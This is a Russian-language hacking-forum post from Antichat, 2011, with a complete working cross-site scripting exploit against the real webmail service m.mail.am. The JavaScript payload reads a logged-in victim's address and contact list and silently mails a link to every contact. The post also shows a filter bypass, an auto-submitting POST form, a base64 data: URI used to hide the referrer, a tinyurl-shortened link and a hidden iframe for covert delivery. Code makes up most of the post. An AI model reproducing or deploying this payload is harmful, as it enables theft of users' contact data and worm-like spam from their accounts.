Чтение данных и выполнение запросов через XSS (на примере пассивки mail.am)

Discussion in 'Уязвимости' started by M_script, 22 May 2011.

  1. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Большинство людей применяют XSS только для того, чтобы получить чужие куки и использовать их в своих целях.
    Но даже если использовать чужие куки невозможно (например, из-за привязки к IP), из XSS можно выжать еще многое.
    В этом примере я покажу, как через пассивную XSS узнать мыло авторизованного пользователя mail.am, получить его контакт-лист и разослать по контакт-листу ссылку на свой сайт.

    1) Пассивная XSS на сайте
    http://m.mail.am/mail/reademail.php?id=x&folder=x
    Уязвимый параметр - folder. Фильтруется слэш. Запрос можно передавать через POST

    2) Внедряемый JS-код
    PHP:
    slash String.fromCharCode(47); // переменная для обхода фильтрации слэша

    xmlhttp = new XMLHttpRequest;
    xmlhttp.open('GET'
                
    'http:' slash slash 'm.mail.am' slash 'mail' slash 'abook.php?func=open',
                
    false);
    xmlhttp.send(null); // запрос для получения страницы адресной книги

    newBody document.createElement('body');
    newBody.innerHTML xmlhttp.responseText;
    myEmail newBody.getElementsByTagName('title')[0].innerHTML.split(' - ')[1]; // получение мыла пользователя со страницы ("<title>Mail.AM - [email protected] - {Address book}</title>")
    email '';
    inputList newBody.getElementsByTagName('input');
    for(
    0inputList.lengthi++) // цикл сбора всех адресов из КЛ
    {
        if(
    inputList[i].name == 'To')
        {
            
    email += inputList[i].value ',';
        }
    }
    alert(myEmail ':' email); // алерт для примера. вместо него можно использовать отправку данных на гейт

    function addInput(inpParentinpNameinpValue// функция добавления полей на форму
    {
        var 
    newInput document.createElement('input');
        
    newInput.type 'hidden';
        
    newInput.name inpName;
        
    newInput.value inpValue;
        
    inpParent.appendChild(newInput);
    }
    var 
    newForm document.createElement('form'); // создание формы
    newForm.method 'POST';
    newForm.action 'http:' slash slash +'m.mail.am' slash 'mail' slash 'sendmail.php';
    document.getElementsByTagName('body')[0].appendChild(newForm);

    // добавление полей.
    addInput(newForm'emailmessage''http:' slash slash 'mysite.com');
    addInput(newForm'emailfrom'myEmail);
    addInput(newForm'emailto'email);
    addInput(newForm'emailsubject''hello');

    newForm.submit(); // отправка письма
    Убираем лишние пробелы и сокращаем имена переменных. Из-за фильтрации использовать тег script нельзя. Скрипт будет запускаться через событие onload тега body.
    Окончательный вариант внедряемого кода:
    PHP:
    <body onload="s=String.fromCharCode(47);x=new XMLHttpRequest;x.open('GET','http:'+s+s+'m.mail.am'+s+'mail'+s+'abook.php?func=open',false);x.send(null);b=document.createElement('body');b.innerHTML=x.responseText;il=b.getElementsByTagName('input');em=b.getElementsByTagName('title')[0].innerHTML.split(' - ')[1];e='';for(i=0;i<il.length;i++){if(il[i].name=='To'){e+=il[i].value+',';}}alert(em+':'+e);function a(p,n,v){i=document.createElement('input');i.type='hidden';i.name=n;i.value=v;p.appendChild(i);}f=document.createElement('form');f.method='POST';f.action='http:'+s+s+'m.mail.am'+s+'mail'+s+'sendmail.php';document.getElementsByTagName('body')[0].appendChild(f);a(f,'emailmessage','http:'+s+s+'mysite.com');a(f,'emailfrom',em);a(f,'emailto',e);a(f,'emailsubject','hello');f.submit();">
    Форма автоматической отправки POST-запроса на mail.am со своего сайта:
    PHP:
    <body onload="document.getElementById('x').submit();">
    <
    form id='x' action="http://m.mail.am/mail/reademail.php" method="post">
    <
    input type="text" name="id" value="x">
    <
    input type="text" name="folder" value="<body onload=&quot;s=String.fromCharCode(47);x=new XMLHttpRequest;x.open('GET','http:'%2bs%2bs%2b'm.mail.am'%2bs%2b'mail'%2bs%2b'abook.php?func=open',false);x.send(null);b=document.createElement('body');b.innerHTML=x.responseText;il=b.getElementsByTagName('input');em=b.getElementsByTagName('title')[0].innerHTML.split(' - ')[1];e='';for(i=0;i<il.length;i%2b%2b){if(il[i].name=='To'){e%2b=il[i].value%2b',';}}alert(em%2b':'%2be);function a(p,n,v){i=document.createElement('input');i.type='hidden';i.name=n;i.value=v;p.appendChild(i);}f=document.createElement('form');f.method='POST';f.action='http:'%2bs%2bs%2b'm.mail.am'%2bs%2b'mail'%2bs%2b'sendmail.php';document.getElementsByTagName('body')[0].appendChild(f);a(f,'emailmessage','http:'%2bs%2bs%2b'mysite.com');a(f,'emailfrom',em);a(f,'emailto',e);a(f,'emailsubject','hello');f.submit();&quot;>">
    <
    input type="submit">
    </
    form>
    </
    body>
    Чтобы скрыть реферер при отправке POST-запроса, используется протокол data:
    PHP:
    data:text/html;base64,PGJvZHkgb25sb2FkPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgneCcpLnN1Ym1pdCgpOyI%2bPGZvcm0gaWQ9J3gnIGFjdGlvbj0iaHR0cDovL20ubWFpbC5hbS9tYWlsL3JlYWRlbWFpbC5waHAiIG1ldGhvZD0icG9zdCI%2bPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlkIiB2YWx1ZT0ieCI%2bPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZvbGRlciIgdmFsdWU9Ijxib2R5IG9ubG9hZD0mcXVvdDtzPVN0cmluZy5mcm9tQ2hhckNvZGUoNDcpO3g9bmV3IFhNTEh0dHBSZXF1ZXN0O3gub3BlbignR0VUJywnaHR0cDonJTJicyUyYnMlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFpbCclMmJzJTJiJ2Fib29rLnBocD9mdW5jPW9wZW4nLGZhbHNlKTt4LnNlbmQobnVsbCk7Yj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdib2R5Jyk7Yi5pbm5lckhUTUw9eC5yZXNwb25zZVRleHQ7aWw9Yi5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTtlbT1iLmdldEVsZW1lbnRzQnlUYWdOYW1lKCd0aXRsZScpWzBdLmlubmVySFRNTC5zcGxpdCgnIC0gJylbMV07ZT0nJztmb3IoaT0wO2k8aWwubGVuZ3RoO2klMmIlMmIpe2lmKGlsW2ldLm5hbWU9PSdUbycpe2UlMmI9aWxbaV0udmFsdWUlMmInLCc7fX1hbGVydChlbSUyYic6JyUyYmUpO2Z1bmN0aW9uIGEocCxuLHYpe2k9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW5wdXQnKTtpLnR5cGU9J2hpZGRlbic7aS5uYW1lPW47aS52YWx1ZT12O3AuYXBwZW5kQ2hpbGQoaSk7fWY9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZm9ybScpO2YubWV0aG9kPSdQT1NUJztmLmFjdGlvbj0naHR0cDonJTJicyUyYnMlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFpbCclMmJzJTJiJ3NlbmRtYWlsLnBocCc7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2JvZHknKVswXS5hcHBlbmRDaGlsZChmKTthKGYsJ2VtYWlsbWVzc2FnZScsJ2h0dHA6JyUyYnMlMmJzJTJiJ215c2l0ZS5jb20nKTthKGYsJ2VtYWlsZnJvbScsZW0pO2EoZiwnZW1haWx0bycsZSk7YShmLCdlbWFpbHN1YmplY3QnLCdoZWxsbycpO2Yuc3VibWl0KCk7JnF1b3Q7PiI%2bPGlucHV0IHR5cGU9InN1Ym1pdCI%2bPC9mb3JtPjwvYm9keT4=
    Полученую ссылку можно уменьшить через любой сервсис сокращения, например tinyurl.com:
    PHP:
    http://tinyurl.com/mailamtest
    Добавляем скрытый фрейм на свой сайт:
    PHP:
    <iframe style="width:0px;height:0px;visibility:hidden" src="http://tinyurl.com/mailamtest">
    Теперь любой авторизованный пользователь mail.am, заходящий на сайт, незаметно будет отправлять по своему КЛ нужное сообщение.


    P.S.:
    Пример не работает:
    в IE<8 из-за отсутствия поддержки протокола data
    в IE>=8 и хроме из-за XSS-фильтров
     
    #1 M_script, 22 May 2011
    Last edited: 14 Oct 2012
    7 people like this.
  2. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Спустите в паблик.
     
    1 person likes this.